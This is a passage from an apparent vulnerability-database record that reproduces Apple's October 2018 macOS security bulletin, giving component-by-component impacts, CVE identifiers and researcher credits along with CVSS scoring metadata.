10.14\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4415: Liang Zhuo working with Beyond Security\u2019s SecuriTeam Secure Disclosure\n\n**CoreCrypto**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An attacker may be able to exploit a weakness in the Miller-Rabin primality test to incorrectly identify prime numbers\n\nDescription: An issue existed in the method for determining prime numbers. This issue was addressed by using pseudorandom bases for testing of primes.\n\nCVE-2018-4398: Martin Albrecht, Jake Massimo and Kenny Paterson of Royal Holloway, University of London, and Juraj Somorovsky of Ruhr University, Bochum\n\n**CoreFoundation**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\n**CUPS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: In certain configurations, a remote attacker may be able to replace the message content from the print server with arbitrary content\n\nDescription: An injection issue was addressed with improved validation.\n\nCVE-2018-4153: Michael Hanselmann of hansmi.ch\n\n**CUPS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4406: Michael Hanselmann of hansmi.ch\n\n**Dictionary**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Parsing a maliciously crafted dictionary file may lead to disclosure of user information\n\nDescription: A validation issue existed which allowed local file access. This was addressed with input sanitization.\n\nCVE-2018-4346: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\n**Dock**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: A malicious application may be able to access restricted files\n\nDescription: This issue was addressed by removing additional entitlements.\n\nCVE-2018-4403: Patrick Wardle of Digita Security\n\nEntry updated February 15, 2019\n\n**dyld**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14, macOS Sierra 10.12.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2018-4423: Youfu Zhang of Chaitin Security Research Lab (@ChaitinTech)\n\nEntry updated November 16, 2018\n\n**EFI**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: Systems with microprocessors utilizing speculative execution and speculative execution of memory reads before the addresses of all prior memory writes are known may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis\n\nDescription: An information disclosure issue was addressed with a microcode update. This ensures that older data read from recently-written-to addresses cannot be read via a speculative side-channel.\n\nCVE-2018-3639: Jann Horn (@tehjh) of Google Project Zero (GPZ), Ken Johnson of the Microsoft Security Response Center (MSRC)\n\n**EFI**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4342: Timothy Perfitt of Twocanoes Software\n\n**Foundation**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\n**Grand Central Dispatch**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\n**Heimdal**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\n**Hypervisor**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Systems with microprocessors utilizing speculative execution and address translations may allow unauthorized disclosure of information residing in the L1 data cache to an attacker with local user access with guest OS privilege via a terminal page fault and a side-channel analysis\n\nDescription: An information disclosure issue was addressed by flushing the L1 data cache at the virtual machine entry.\n\nCVE-2018-3646: Baris Kasikci, Daniel Genkin, Ofir Weisse, and Thomas F. Wenisch of University of Michigan, Mark Silberstein and Marina Minkin of Technion, Raoul Strackx, Jo Van Bulck, and Frank Piessens of KU Leuven, Rodrigo Branco, Henrique Kawakami, Ke Sun, and Kekai Hu of Intel Corporation, Yuval Yarom of The University of Adelaide\n\n**Hypervisor**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2018-4242: Zhuo Liang of Qihoo 360 Nirvan Team\n\n**ICU**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14, macOS Sierra 10.12.6\n\nImpact: Processing a maliciously crafted string may lead to heap corruption\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4394: Erik Verbruggen of The Qt Company\n\nEntry updated November 16, 2018\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4334: Ian Beer of Google Project Zero\n\n**Intel Graphics Driver**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4396: Yu Wang of Didi Research America\n\nCVE-2018-4418: Yu Wang of Didi Research America\n\n**Intel Graphics Driver**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4350: Yu Wang of Didi Research America\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2018-4421: Tyler Bohan of Cisco Talos\n\nEntry added December 21, 2018\n\n**IOGraphics**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4422: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\n**IOHIDFamily**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry updated August 1, 2019\n\n**IOKit**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4402: Proteas of Qihoo 360 Nirvan Team\n\n**IOKit**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer of Google Project Zero\n\nCVE-2018-4354: Ian Beer of Google Project Zero\n\n**IOUserEthernet**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4401: Apple\n\n**IPSec**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to gain elevated privileges\n\nDescription: An out-of-bounds read was addressed with improved input validation.\n\nCVE-2018-4371: Tim Michaud (@TimGMichaud) of Leviathan Security Group\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed by removing the vulnerable code.\n\nCVE-2018-4420: Mohamed Ghannam (@_simo36)\n\n**Kernel**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to leak sensitive user information\n\nDescription: An access issue existed with privileged API calls. This issue was addressed with additional restrictions.\n\nCVE-2018-4399: Fabiano Anemone (@anoane)\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4340: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4419: Mohamed Ghannam (@_simo36)\n\nCVE-2018-4425: cc working with Trend Micro's Zero Day Initiative, Juwei Lin (@panicaII) of Trend Micro working with Trend Micro's Zero Day Initiative\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: Mounting a maliciously crafted NFS network share may lead to arbitrary code execution with system privileges\n\nDescription: Multiple memory corruption issues were addressed with improved memory handling.\n\nCVE-2018-4259: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4286: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4287: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4288: Kevin Backhouse of Semmle and LGTM.com\n\nCVE-2018-4291: Kevin Backhouse of Semmle and LGTM.com\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to read restricted memory\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2018-4413: Juwei Lin (@panicaII) of TrendMicro Mobile Security Team\n\n**Kernel**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An attacker in a privileged network position may be able to execute arbitrary code\n\nDescription: A memory corruption issue was addressed with improved validation.\n\nCVE-2018-4407: Kevin Backhouse of Semmle Ltd.\n\n**Kernel**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A buffer overflow was addressed with improved size validation.\n\nCVE-2018-4424: Dr. Silvio Cesare of InfoSect\n\n**LinkPresentation**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: Processing a maliciously crafted text message may lead to UI spoofing\n\nDescription: A spoofing issue existed in the handling of URLs. This issue was addressed with improved input validation.\n\nCVE-2018-4187: Roman Mueller (@faker_), Zhiyang Zeng (@Wester) of Tencent Security Platform Department\n\nEntry added April 3, 2019\n\n**Login Window**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2018-4348: Ken Gannon of MWR InfoSecurity and Christian Demko of MWR InfoSecurity\n\n**Mail**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: Processing a maliciously crafted mail message may lead to UI spoofing\n\nDescription: An inconsistent user interface issue was addressed with improved state management.\n\nCVE-2018-4389: Dropbox Offensive Security Team, Theodor Ragnar Gislason of Syndis\n\n**mDNSOffloadUserClient**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4326: an anonymous researcher working with Trend Micro's Zero Day Initiative, Zhuo Liang of Qihoo 360 Nirvan Team\n\n**MediaRemote**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A sandboxed process may be able to circumvent sandbox restrictions\n\nDescription: An access issue was addressed with additional sandbox restrictions.\n\nCVE-2018-4310: CodeColorist of Ant-Financial LightYear Labs\n\n**Microcode**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: Systems with microprocessors utilizing speculative execution and that perform speculative reads of system registers may allow unauthorized disclosure of system parameters to an attacker with local user access via a side-channel analysis\n\nDescription: An information disclosure issue was addressed with a microcode update. This ensures that implementation specific system registers cannot be leaked via a speculative execution side-channel.\n\nCVE-2018-3640: Innokentiy Sennovskiy from BiZone LLC (bi.zone), Zdenek Sojka, Rudolf Marek and Alex Zuepke from SYSGO AG (sysgo.com)\n\n**NetworkExtension**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: Connecting to a VPN server may leak DNS queries to a DNS proxy\n\nDescription: A logic issue was addressed with improved state management.\n\nCVE-2018-4369: an anonymous researcher\n\n**Perl**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: Multiple buffer overflow issues existed in Perl\n\nDescription: Multiple issues in Perl were addressed with improved memory handling.\n\nCVE-2018-6797: Brian Carpenter\n\n**Ruby**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: A remote attacker may be able to cause unexpected application termination or arbitrary code execution\n\nDescription: Multiple issues in Ruby were addressed in this update.\n\nCVE-2017-0898\n\nCVE-2017-10784\n\nCVE-2017-14033\n\nCVE-2017-14064\n\nCVE-2017-17405\n\nCVE-2017-17742\n\nCVE-2018-6914\n\nCVE-2018-8777\n\nCVE-2018-8778\n\nCVE-2018-8779\n\nCVE-2018-8780\n\n**Security**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: Processing a maliciously crafted S/MIME signed message may lead to a denial of service\n\nDescription: A validation issue was addressed with improved logic.\n\nCVE-2018-4400: Yukinobu Nagayasu of LAC Co., Ltd.\n\n**Security**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A local user may be able to cause a denial of service\n\nDescription: This issue was addressed with improved checks.\n\nCVE-2018-4395: Patrick Wardle of Digita Security\n\n**Spotlight**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4393: Lufeng Li\n\n**Symptom Framework**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4203: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\n**Wi-Fi**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4368: Milan Stute and Alex Mariotto of Secure Mobile Networking Lab at Technische Universit\u00e4t Darmstadt\n\n\n\n## Additional recognition\n\n**Calendar**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry updated February 15, 2019\n\n**coreTLS**\n\nWe would like to acknowledge Eyal Ronen (Weizmann Institute), Robert Gillham (University of Adelaide), Daniel Genkin (University of Michigan), Adi Shamir (Weizmann Institute), David Wong (NCC Group), and Yuval Yarom (University of Adelaide and Data61) for their assistance.\n\nEntry added December 12, 2018\n\n**iBooks**\n\nWe would like to acknowledge Sem Voigtl\u00e4nder of Fontys Hogeschool ICT for their assistance.\n\n**Kernel**\n\nWe would like to acknowledge Brandon Azad for their assistance.\n\n**LaunchServices**\n\nWe would like to acknowledge Alok Menghrajani of Square for their assistance.\n\n**Quick Look**\n\nWe would like to acknowledge lokihardt of Google Project Zero for their assistance.\n\n**Security**\n\nWe would like to acknowledge Marinos Bernitsas of Parachute for their assistance.\n\n**Terminal**\n\nWe would like to acknowledge Federico Bento for their assistance.\n\nEntry updated February 3, 2020\n\n**Time Machine**\n\nWe would like to acknowledge Matthew Thomas of Verisign for their assistance.\n\nEntry added February 15, 2019\n\nInformation about products not manufactured by Apple, or independent websites not controlled or tested by Apple, is provided without recommendation or endorsement. Apple assumes no responsibility with regard to the selection, performance, or use of third-party websites or products. Apple makes no representations regarding third-party website accuracy or reliability. [Contact the vendor](<http://support.apple.com/kb/HT2693>) for additional information.\n\nPublished Date: July 27, 2020\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-10-30T00:00:00", "type": "apple", "title": "About the security content of macOS Mojave 10.14.1, Security Update 2018-002 High Sierra, Security Update 2018-005 Sierra", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0898", "CVE-2017-10784", "CVE-2017-12613", "CVE-2017-12618", "CVE-2017-14033", "CVE-2017-14064", "CVE-2017-17405", "CVE-2017-17742", "CVE-2018-3639", "CVE-2018-3640", "CVE-2018-3646", "CVE-2018-4126", "CVE-2018-4153", "CVE-2018-4187", "CVE-2018-4203", "CVE-2018-4242", "CVE-2018-4259", "CVE-2018-4286", "CVE-2018-4287", "CVE-2018-4288", "CVE-2018-4291", "CVE-2018-4295", "CVE-2018-4304", "CVE-2018-4308", "CVE-2018-4310", "CVE-2018-4326", "CVE-2018-4331", "CVE-2018-4334", "CVE-2018-4340", "CVE-2018-4341", "CVE-2018-4342", "CVE-2018-4346", "CVE-2018-4348", "CVE-2018-4350", "CVE-2018-4354", "CVE-2018-4368", "CVE-2018-4369", "CVE-2018-4371", "CVE-2018-4389", "CVE-2018-4393", "CVE-2018-4394", "CVE-2018-4395", "CVE-2018-4396", "CVE-2018-4398", "CVE-2018-4399", "CVE-2018-4400", "CVE-2018-4401", "CVE-2018-4402", "CVE-2018-4403", "CVE-2018-4406", "CVE-2018-4407", "CVE-2018-4408", "CVE-2018-4410", "CVE-2018-4411", "CVE-2018-4412", "CVE-2018-4413", "CVE-2018-4415", "CVE-2018-4417", "CVE-2018-4418", "CVE-2018-4419", "CVE-2018-4420", "CVE-2018-4421", "CVE-2018-4422", "CVE-2018-4423", "CVE-2018-4424", "CVE-2018-4425", "CVE-2018-4426", "CVE-2018-4468", "CVE-2018-6797", "CVE-2018-6914", "CVE-2018-8777", "CVE-2018-8778", "CVE-2018-8779", "CVE-2018-8780"], "modified": "2018-10-30T00:00:00", "id": "APPLE:395E729CF93F555C415D358DB1C43E9A", "href": "https://support.apple.com/kb/HT209193", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-12-24T20:42:20", "description": "## About Apple security updates\n\nFor our customers' protection, Apple doesn't disclose, discuss, or confirm security issues until an investigation has occurred and patches or releases are available. Recent releases are listed on the [Apple security updates](<https://support.apple.com/kb/HT201222>) page.\n\nFor more information about security, see the [Apple Product Security](<https://support.apple.com/kb/HT201220>) page. You can encrypt communications with Apple using the [Apple Product Security PGP Key](<https://support.apple.com/kb/HT201601>).\n\nApple security documents reference vulnerabilities by [CVE-ID](<http://cve.mitre.org/about/>) when possible.\n\n\n\n## macOS Mojave 10.14.1, Security Update 2018-002 High Sierra, Security Update 2018-005 Sierra\n\nReleased October 30, 2018\n\n**afpserver**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A remote attacker may be able to attack AFP servers through HTTP clients\n\nDescription: An input validation issue was addressed with improved input validation.\n\nCVE-2018-4295: Jianjun Chen (@whucjj) from Tsinghua University and UC Berkeley\n\n**AppleGraphicsControl**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4410: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\n**AppleGraphicsControl**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4417: Lee of the Information Security Lab Yonsei University working with Trend Micro's Zero Day Initiative\n\n**APR**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Multiple buffer overflow issues existed in Perl\n\nDescription: Multiple issues in Perl were addressed with improved memory handling.\n\nCVE-2017-12613: Craig Young of Tripwire VERT\n\nCVE-2017-12618: Craig Young of Tripwire VERT\n\nEntry updated February 15, 2019\n\n**ATS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4411: lilang wu moony Li of Trend Micro working with Trend Micro's Zero Day Initiative\n\n**ATS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: An out-of-bounds read was addressed with improved bounds checking.\n\nCVE-2018-4308: Mohamed Ghannam (@_simo36)\n\n**Automator**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: A malicious application may be able to access restricted files\n\nDescription: This issue was addressed by removing additional entitlements.\n\nCVE-2018-4468: Jeff Johnson of underpassapp.com\n\nEntry added February 15, 2019\n\n**CFNetwork**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4126: Bruno Keith (@bkth_) working with Trend Micro's Zero Day Initiative\n\n**CoreAnimation**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4415: Liang Zhuo working with Beyond Security\u2019s SecuriTeam Secure Disclosure\n\n**CoreCrypto**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An attacker may be able to exploit a weakness in the Miller-Rabin primality test to incorrectly identify prime numbers\n\nDescription: An issue existed in the method for determining prime numbers. This issue was addressed by using pseudorandom bases for testing of primes.\n\nCVE-2018-4398: Martin Albrecht, Jake Massimo and Kenny Paterson of Royal Holloway, University of London, and Juraj Somorovsky of Ruhr University, Bochum\n\n**CoreFoundation**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4412: The UK's National Cyber Security Centre (NCSC)\n\n**CUPS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: In certain configurations, a remote attacker may be able to replace the message content from the print server with arbitrary content\n\nDescription: An injection issue was addressed with improved validation.\n\nCVE-2018-4153: Michael Hanselmann of hansmi.ch\n\n**CUPS**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An attacker in a privileged position may be able to perform a denial of service attack\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4406: Michael Hanselmann of hansmi.ch\n\n**Dictionary**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Parsing a maliciously crafted dictionary file may lead to disclosure of user information\n\nDescription: A validation issue existed which allowed local file access. This was addressed with input sanitization.\n\nCVE-2018-4346: Wojciech Regu\u0142a (@_r3ggi) of SecuRing\n\n**Dock**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: A malicious application may be able to access restricted files\n\nDescription: This issue was addressed by removing additional entitlements.\n\nCVE-2018-4403: Patrick Wardle of Digita Security\n\nEntry updated February 15, 2019\n\n**dyld**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14, macOS Sierra 10.12.6\n\nImpact: A malicious application may be able to elevate privileges\n\nDescription: A logic issue was addressed with improved validation.\n\nCVE-2018-4423: Youfu Zhang of Chaitin Security Research Lab (@ChaitinTech)\n\nEntry updated November 16, 2018\n\n**EFI**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: Systems with microprocessors utilizing speculative execution and speculative execution of memory reads before the addresses of all prior memory writes are known may allow unauthorized disclosure of information to an attacker with local user access via a side-channel analysis\n\nDescription: An information disclosure issue was addressed with a microcode update. This ensures that older data read from recently-written-to addresses cannot be read via a speculative side-channel.\n\nCVE-2018-3639: Jann Horn (@tehjh) of Google Project Zero (GPZ), Ken Johnson of the Microsoft Security Response Center (MSRC)\n\n**EFI**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: A local user may be able to modify protected parts of the file system\n\nDescription: A configuration issue was addressed with additional restrictions.\n\nCVE-2018-4342: Timothy Perfitt of Twocanoes Software\n\n**Foundation**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Processing a maliciously crafted text file may lead to a denial of service\n\nDescription: A denial of service issue was addressed with improved validation.\n\nCVE-2018-4304: jianan.huang (@Sevck)\n\n**Grand Central Dispatch**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4426: Brandon Azad\n\n**Heimdal**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4331: Brandon Azad\n\n**Hypervisor**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: Systems with microprocessors utilizing speculative execution and address translations may allow unauthorized disclosure of information residing in the L1 data cache to an attacker with local user access with guest OS privilege via a terminal page fault and a side-channel analysis\n\nDescription: An information disclosure issue was addressed by flushing the L1 data cache at the virtual machine entry.\n\nCVE-2018-3646: Baris Kasikci, Daniel Genkin, Ofir Weisse, and Thomas F. Wenisch of University of Michigan, Mark Silberstein and Marina Minkin of Technion, Raoul Strackx, Jo Van Bulck, and Frank Piessens of KU Leuven, Rodrigo Branco, Henrique Kawakami, Ke Sun, and Kekai Hu of Intel Corporation, Yuval Yarom of The University of Adelaide\n\n**Hypervisor**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption vulnerability was addressed with improved locking.\n\nCVE-2018-4242: Zhuo Liang of Qihoo 360 Nirvan Team\n\n**ICU**\n\nAvailable for: macOS High Sierra 10.13.6, macOS Mojave 10.14, macOS Sierra 10.12.6\n\nImpact: Processing a maliciously crafted string may lead to heap corruption\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4394: Erik Verbruggen of The Qt Company\n\nEntry updated November 16, 2018\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Sierra 10.12.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4334: Ian Beer of Google Project Zero\n\n**Intel Graphics Driver**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to read restricted memory\n\nDescription: A validation issue was addressed with improved input sanitization.\n\nCVE-2018-4396: Yu Wang of Didi Research America\n\nCVE-2018-4418: Yu Wang of Didi Research America\n\n**Intel Graphics Driver**\n\nAvailable for: macOS High Sierra 10.13.6\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4350: Yu Wang of Didi Research America\n\n**Intel Graphics Driver**\n\nAvailable for: macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory initialization issue was addressed with improved memory handling.\n\nCVE-2018-4421: Tyler Bohan of Cisco Talos\n\nEntry added December 21, 2018\n\n**IOGraphics**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4422: an anonymous researcher working with Trend Micro's Zero Day Initiative\n\n**IOHIDFamily**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to execute arbitrary code with kernel privileges\n\nDescription: A memory corruption issue was addressed with improved input validation.\n\nCVE-2018-4408: Ian Beer of Google Project Zero\n\nEntry updated August 1, 2019\n\n**IOKit**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14\n\nImpact: An application may be able to execute arbitrary code with system privileges\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4402: Proteas of Qihoo 360 Nirvan Team\n\n**IOKit**\n\nAvailable for: macOS Sierra 10.12.6, macOS High Sierra 10.13.6\n\nImpact: A malicious application may be able to break out of its sandbox\n\nDescription: A memory corruption issue was addressed with improved memory handling.\n\nCVE-2018-4341: Ian Beer 